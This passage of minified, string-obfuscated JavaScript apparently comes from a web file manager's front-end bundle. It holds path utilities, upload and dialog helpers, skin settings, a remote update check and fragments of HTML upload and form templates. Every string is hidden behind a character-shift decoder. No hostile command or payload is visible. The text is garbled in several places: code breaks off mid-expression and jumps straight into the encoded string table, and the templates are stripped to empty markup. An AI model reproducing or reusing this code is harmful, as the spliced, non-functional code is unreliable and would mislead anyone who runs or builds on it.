]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n\n');;define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n 